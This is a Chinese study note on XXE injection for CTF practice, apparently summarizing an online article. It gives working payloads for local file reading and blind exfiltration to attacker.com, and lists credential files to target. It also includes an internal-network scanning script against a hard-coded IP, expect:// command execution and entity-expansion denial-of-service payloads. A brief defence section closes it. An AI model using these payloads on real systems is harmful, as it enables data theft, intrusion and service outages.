什么是XXE

XXE(XML External Entity Injection) 全称为 XML 外部实体注入 XML注入 在极客2025里面做过的 用svg标签来得到 当然太局限局限了 继续往下看 XML 文件可以通过 “外部实体”(DOCTYPE 声明中的 ENTITY)引用外部资源,但如果服务器的 XML 解析器未禁用外部实体加载,攻击者就能构造恶意 XML 内容,诱导解析器执行非法操作(比如读取服务器本地文件、访问内部网络等)。

基础知识

  • DTD 简单说简单说,DTD 是 XML 的 “格式说明书”:
    规定 XML 里能出现哪些元素、属性;
    定义元素的嵌套顺序、次数;
    统一不同 XML 文档的格式(比如数据交换时保证双方的 XML 结构一致)
  • 分为 内部 DTD:直接写在 XML 文档里(用<!DOCTYPE>声明)和 外部 DTD:写在单独的文件里,XML 通过SYSTEMPUBLIC引用
  • ENTITY 可被替换展开的占位符 其实就相当于
1
2
3
4
5
6
7
<!DOCTYPE test [
<!ENTITY name "Alice">
]>
<user>
<username>&name;</username>
</user>

把name换成了Alice 下面的&是引用前面的

  • SYSTEM —— “直接指定位置”
1
<!ENTITY 实体名 SYSTEM "URI">

其实就是

1
<!ENTITY xxe SYSTEM "file:///etc/passwd">

等于直接读取 /etc/passwd 内容
还可以发送http请求 比如

1
<!ENTITY xxe SYSTEM "http://127.0.0.1:8080/admin">

是向 127.0.0.1 发起 HTTP 请求

PUBLIC —— 给一个名字,你自己找(xxe基本用不到 了解一下)

1
<!ENTITY 实体名 PUBLIC "公共标识符" "URI">

一般的例子

1
2
3
<!DOCTYPE html PUBLIC
"-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

前面是一套公共的标准 大概就是规范化命名格式 后面就是System Identifier(系统标识符)给一个找东西的参考地址

  • 通用实体 用 &实体名; 引用的实体
  • 参数实体 使用 % 实体名(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 %实体名 文章里面讲的没有太细 看输了概念觉得也不需要很细 毕竟攻击的源头其实是他们的外部引用 但是这里文章说 参数实体在我们 Blind XXE 中起到了至关重要的作用 边看边记录了

XXE攻击

  • 有回显读本地敏感文件(Normal XXE)
    其实就是用简单的引用外部实体去得到服务器上的文件 需要满足
    服务器 解析了 XML
    实体被展开
    展开的内容 被返回给你看
1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE user [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user>
<name>&xxe;</name>
</user>

假设 然后后端发现 &xxe;
查实体表
发现是 外部实体
读取 file:///etc/passwd
把读取到的内容 当成普通文本插进去
文章这里提到的情况 如果要读取的是有一些特殊情况的文件 比如在XML中,有时实体内包含了些字符,如&,<,>,”,’等。这些均需要对其进行转义,否则会对XML解释器生成错误
用到CDATA
CDATA 是:
告诉 XML 解析器——“这里面的内容当作纯文本,不要当成 XML 语法来解析”

1
2
3
<![CDATA[
这里面的内容不会被当成 XML 解析
]]>

对于xml中 不能通过拼接 因为

1
2
<!ENTITY ...> 只能出现在 DTD
XML 正文已经是结构阶段 这时候不能定义规则 只能使用已经定义好的规则 而在 DTD 中,唯一能拼的工具就是:参数实体

这里直接写上那个例子的payload

1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///d:/test.txt">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://ip/evil.dtd">
%dtd; ]>

<roottag>&all;</roottag>

evil.dtd

1
2
<?xml version="1.0" encoding="UTF-8"?> 
<!ENTITY all "%start;%goodies;%end;">
  • 无回显读取本地敏感文件(Blind OOB XXE)
    一般的都是没有回显的 能解析XML同时还能回显出来 情况太少了
    所以 以下的方式 把“本地文件内容” → 放进“外部请求” → 发给攻击者
    攻击流程固定为三步:
    1️⃣ 在主 XML 中引入攻击者控制的外部 DTD
    2️⃣ 在外部 DTD 中使用参数实体读取本地文件(SYSTEM file://
    3️⃣ 将文件内容拼接进外部请求 URL,强制解析器对攻击者服务器发起请求
1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://attacker.com/evil.dtd">
%ext;
]>
<root>test</root>

evil.dtd

1
2
3
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % send SYSTEM "http://attacker.com/leak?data=%file;">
%send;

这是http协议里面的 极客里面做过dns(这个确实不好防 主要是将域名解析为 IP 地址这个可以说是挺必要的了 防火墙很少拦 DNS)的外带 在DNS日志里面能直接看到敏感信息

这里记一下支持的协议
文章下面与一些常可探测且有价值的文件相关 下面记一下敏感文件

/etc/network/interfaces

  • 网络接口配置文件(Debian / Ubuntu)

  • 包含:IP、网关、网卡名称、DHCP 配置

  • 价值:

    • 判断内网网段

    • 判断是否在云 / 容器 / 内部网络


/proc/net/arp

  • ARP 缓存表

  • 包含:内网 IP ↔ MAC 映射

  • 价值:

    • 枚举内网存活主机

    • 判断是否存在网关、网桥、容器网络


/etc/hosts

  • 本地域名解析文件

  • 包含:内部域名 → 内网 IP

  • 价值:

    • 泄露内部服务名称(db、redis、api)

    • 为 SSRF / 内网访问提供指引

Linux 常见敏感文件分类(重点)

1️⃣ 用户与身份信息

文件 说明
/etc/passwd 用户列表
/etc/group 用户组
/etc/shadow 密码哈希(高权限)

2️⃣ 系统与基础环境信息

文件 说明
/etc/hostname 主机名
/etc/os-release 系统版本
/proc/version 内核信息
/proc/cpuinfo CPU 信息

3️⃣ 网络与内网结构(侦察核心)

文件 说明
/etc/resolv.conf DNS 服务器
/proc/net/route 路由表
/proc/net/arp 内网主机
/etc/network/interfaces 网卡配置

4️⃣ 进程 / 容器 / 云环境判断(非常重要)

文件 说明
/proc/1/cgroup 判断 Docker / K8s
/proc/self/cgroup 当前进程环境
/proc/1/environ PID 1 环境变量(核心)

5️⃣ 配置文件与凭据(价值最高)

文件 说明
/var/www/html/.env Web 应用环境变量
/app/.env 容器应用配置
/root/.ssh/id_rsa SSH 私钥
/home/*/.ssh/authorized_keys 登录授权
文章里脚本的原理就是将目标服务器当作“内网代理”,通过 SSRF 扫描内网 HTTP 服务 然后还套了base64 保证外带正常 脚本先记一下吧
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests
import base64

#Origtional XML that the server accepts
#<xml>
# <stuff>user</stuff>
#</xml>


def build_xml(string):
xml = """<?xml version="1.0" encoding="ISO-8859-1"?>"""
xml = xml + "\r\n" + """<!DOCTYPE foo [ <!ELEMENT foo ANY >"""
xml = xml + "\r\n" + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>"""
xml = xml + "\r\n" + """<xml>"""
xml = xml + "\r\n" + """ <stuff>&xxe;</stuff>"""
xml = xml + "\r\n" + """</xml>"""
send_xml(xml)

def send_xml(xml):
headers = {'Content-Type': 'application/xml'}
x = requests.post('http://34.200.157.128/CUSTOM/NEW_XEE.php', data=xml, headers=headers, timeout=5).text
coded_string = x.split(' ')[-2] # a little split to get only the base64 encoded value
print coded_string
# print base64.b64decode(coded_string)
for i in range(1, 255):
try:
i = str(i)
ip = '10.0.0.' + i
string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/'
print string
build_xml(string)
except:
continue

还有利用bp的端口遍历 和前面扫整个网段原理没大区别
文章下面的那道题只能看的懂原理 主要记录一下
libxml(PHP 默认 XML 解析器)的读取文件不能过大的特殊性 以及破解的方法

1
2
压缩:php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd  
解压:php://filter/read=convert.base64-decode/zlib.inflate/resource=/tmp/1

jar:{url}!{path}

jar 能从远程获取 jar 文件,然后将其中的内容进行解压
jar 协议处理文件的过程:
(1) 下载 jar/zip 文件到临时文件中
(2) 提取出我们指定的文件
(3) 删除临时文件
首先对于有回显的xxe jar可以作为得到文件回显的一种方式 文章这里的 看的有些乏力 结合出的题
大概就是Java 会把 jar.zip 完整下载 写入 本地临时目录 最后利用不存在的文件去报错得到zip的真正所在的目录

一些特殊的xxe

  1. PHP 的 expect 并不是默认安装扩展,如果安装了这个expect 扩展我们就能直接利用 XXE 进行 RCE
1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE r [
<!ENTITY xxe SYSTEM "expect://whoami">
]>
<r>&xxe;</r>

expect://后面的就是可以直接执行的系统命令
2. DOS攻击 这个貌似在ctf里面很难能出题(只是我的猜想 毕竟服务都打挂了….)
不过了解到了这种基于xxe的dos攻击
Billion Laughs(指数级爆炸)

1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY a "lol">
<!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;">
<!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;">
<!ENTITY d "&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;">
]>
<lolz>&d;</lolz>

Quadratic Blowup(平方级膨胀)

1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY x "AAAAAAAAAA">
]>
<root>
&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;
&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;
</root>

External Entity Bomb(外部实体 DoS)

1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "http://attacker.com/big.txt">
]>
<root>&xxe;</root>

去加载一个超大的资源
或者是自己访问/dev/zero 永远不返回 EOF

关于防御

禁止回显(但是其实没啥大作用 外带情况太多了) 禁掉外部实体 这个太重要了 几乎能ban完了 貌似除了DOS 后端再加上一些黑名单的话 攻击者基本不能做什么

看的文章是https://xz.aliyun.com/news/2994